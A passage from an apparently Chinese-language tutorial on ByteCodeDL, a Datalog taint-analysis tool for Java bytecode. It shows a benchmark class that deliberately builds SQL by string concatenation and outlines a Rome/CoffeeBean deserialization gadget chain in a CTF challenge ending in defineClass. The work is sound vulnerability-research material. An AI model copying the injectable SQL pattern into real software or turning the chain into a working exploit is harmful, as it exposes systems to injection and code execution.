ptaint.ArgToRetTransfer("<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>", 0).

// 配置净化函数
ptaint.SanitizeMethod("<com.bytecodedl.benchmark.demo.TaintDemo3: java.lang.String Sanitize(java.lang.String)>")

.decl TaintVar(var:Var)

TaintVar(var) :-
	ptaint.VarPointsTo(heap, var),
	ptaint.TaintHeap(_, heap).

.output TaintVar
.output ptaint.TaintHeap
.output ptaint.TransferTaint
.output ptaint.VarPointsTo

其中一个困难点在于如何配置污点转移函数，需要用到 soot 生成的 Jimple 代码来判断

原因在于.从源代码中我们无法得到字符串底层所进行的操作

查看 Jimple 代码可以看到，底层实际做的是字符串的拼接操作。污点数据污染方向为：

name#_0
	-> $stack7 
		-> $stack8 
			-> sql0#_11

运行

1	`souffle -F pt_free_test/ -D . example1.dl`

查看结果如下

Benchmark-TaintDemo2

public class TaintDemo2 {
    public static void main(String[] args) {
        TaintDemo2 demo = new TaintDemo2();
        String name = demo.Source();
        demo.test1(name);
    }

    public void test1(String name){
        String sql = "select * from user where name='" + name + "'";
        sql = Sanitize(sql);
        Sink(sql);
    }

    public void Sink(String param){

    }

    public String Sanitize(String param){
        String ret = param.replace('\'', '`');
        return ret;
    }

    public String Source(){
        return "tainted name";
    }
}

这里与 TaintDemo3 存在区别的地方位于 test1() 方法

这里并没有临时变量 sq0/1 而是一直用一个变量

我们查看下 Jimple 语句：

查看一下 souffle 分析出来的污点变量

这里可以看到 Sink 点也被污染了，原因在于这里由于全都用的是一个变量，加上分析过程为流不敏感，导致出现在净化之前污染了 Sink 点

解决方式：soot-fact-generator 的 --ssa 参数，可以支持流敏感分析

加上该参数后，生成的将是 Shimple 文件，由图可以看到所有赋值语句变量名均是唯一的，即区分原本两个同名变量在不同时刻的值，以此保持流敏感

验证污点结果也可以看到并未污染到 Sink 点

7. [案例学习] 使用ByteCodeDL分析长城杯CTF b4bycoffee

先分析一下源码

这道题给了入口点 com.example.b4bycoffee.controller#order() 存在 AntObjectInputStream 重写的 readObject()

这里可以看到在 AntObjectInputStream 的构造函数中构建了黑名单列表

题目环境给了 Rome 依赖，并且有个 CoffeeBean类的 toString() 方法可以加载字节码。那么配合 Rome 的 EqualsBean类在HashMap put操作时会触发对 key 的 hashCode 操作，进一步调用 toString() 方法可以接上利用链

「ByteCodeDL 自动化检索」

入口函数：toString，hashCode，compareTo

source field

sink defineclass

规则如下：

这里注意细节：

污点源只设置了 field 字段可控
入口函数因为性能原因也只设置了 com.example.b4bycoffee.model.CoffeeBean

#define MAXSTEP 5
#define CHAO 1

#include "logic/ptaint.dl"
#include "logic/cha.dl"

.init ptaint = PTaint


// 1. toString() -[*]-> defineclass()
// 2. 
// 定义 CHA 入口函数 
EntryPoint(simplename, descriptor, class) :-
	simplename = "toString",
	descriptor = "()Ljava/lang/String;",
	SubClass(class, "java.io.Serializable"), 
	// TODO: 不加会慢
	class = "com.example.b4bycoffee.model.CoffeeBean".

// 定义 CHA 的 sink
SinkDesc("defineClass", "java.lang.ClassLoader"). 

// 将可到达 sink 的入口函数 作为污点分析的起点
ptaint.Reachable(method) :-
	SinkReachable(method, _, _), 
	EntryMethod(method).

.output SinkReachable

// 定义污点分析当中的 sink
ptaint.SinkMethod(method, 1) :- 
	MethodInfo(method, "defineClass", _, class, _, _, _), 
	SubEqClass(class, "java.lang.ClassLoader").

// 对反序列化的对象进行 mock this 指向虚拟创建的对象
NormalHeap(heap, class),
ptaint.TaintHeap(insn, heap),
ptaint.VarPointsTo(heap, this) :-
    EntryPoint(simplename, descriptor, class),
    Dispatch(simplename, descriptor, class, method),
    ThisVar(method, this),
    insn = cat("Mock", class),
    heap = cat("NewTainted::", insn).

// ex. CoffeeBean 中 ClassByte 字段可控，因此 load field 将使得左边变量同样可控
// 如果对象是污点，反序列化的时候认为其 field 都可控，那么 load field 也是污点
NormalHeap(newHeap, class),
ptaint.TaintHeap(insn, newHeap),
ptaint.TransferTaint(heap, newHeap),
ptaint.VarPointsTo(newHeap, var) :-
    ptaint.Reachable(inMethod),
    // var = base.field
    LoadInstanceField(insn, _, var, base, field, inMethod),
    FieldInfo(field, _, _, type),
    // 所有子类，这里可能是保证 sound ?
    SubEqClass(class, type),
    // base 为污点对象
    ptaint.VarPointsTo(heap, base),
    ptaint.TaintHeap(_, heap),
    // 通过 load field 也会产生污点对象
    newHeap = cat("TransferTaint::Mock::Load", insn).

.decl TaintVar(var:Var)

// 可控变量
TaintVar(var) :-
    ptaint.VarPointsTo(head, var), 
    ptaint.TaintHeap(_, heap). 


.decl SinkTaintVar(var:Var, heap:Heap)

// 污点实际出现在 sink 的第 n 个参数上
SinkTaintVar(var, heap) :-
    ptaint.CallGraph(insn, caller, method), 
    ptaint.SinkMethod(method, n), 
    VirtualMethodInvocation(insn, _, _, _, caller), 
    ActualParam(n, insn, var), 
    ptaint.VarPointsTo(heap, var), 
    ptaint.TaintHeap(_, heap).  

.output TaintVar
.output SinkTaintVar

.output ptaint.TaintHeap
.output ptaint.TransferTaint
.output ptaint.VarPointsTo
.output ptaint.SinkMethod
.output ptaint.CallGraph

运行生成 facts 并启动分析引擎

1
2
3

java -jar soot-fact-generator.jar -i b4bycoffee-0.0.1-SNAPSHOT.jar --full -l /Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/jre/lib/rt.jar -d ../example/changchengCTF --allow-phantom --generate-jimple

souffle -F changchengCTF/ -D . exp.dl

输出污点变量如下：可以看到污点数据从 field 传到了 stack6/8 以及最终的 sink 函数上

从 Jimple 文件中验证确实从 base.field 当中通过 load 传递了污点

从 SinkTaintVar.csv 中可以大致看出污点传播路径

1
2
3

CoffeeBean#toString() -> 
	read-field-ClassByte ->
		defineClass()

困难之处：

污点转换函数如何构造？
这里如果不限制入口函数位于 com.example.b4bycoffee.model.CoffeeBean 类中，即扩大入口函数量，性能开销如何优化？
污点源如何构造，这里只写了通过 this 以及 load field 来构造污点 source，实际可能还有从参数传递、或者一些函数如 readObject() 作为污点 source
似乎还是不支持对 springboot 依赖的分析？

TODO：https://github.com/BytecodeDL/ByteCodeDL/discussions/10

>
>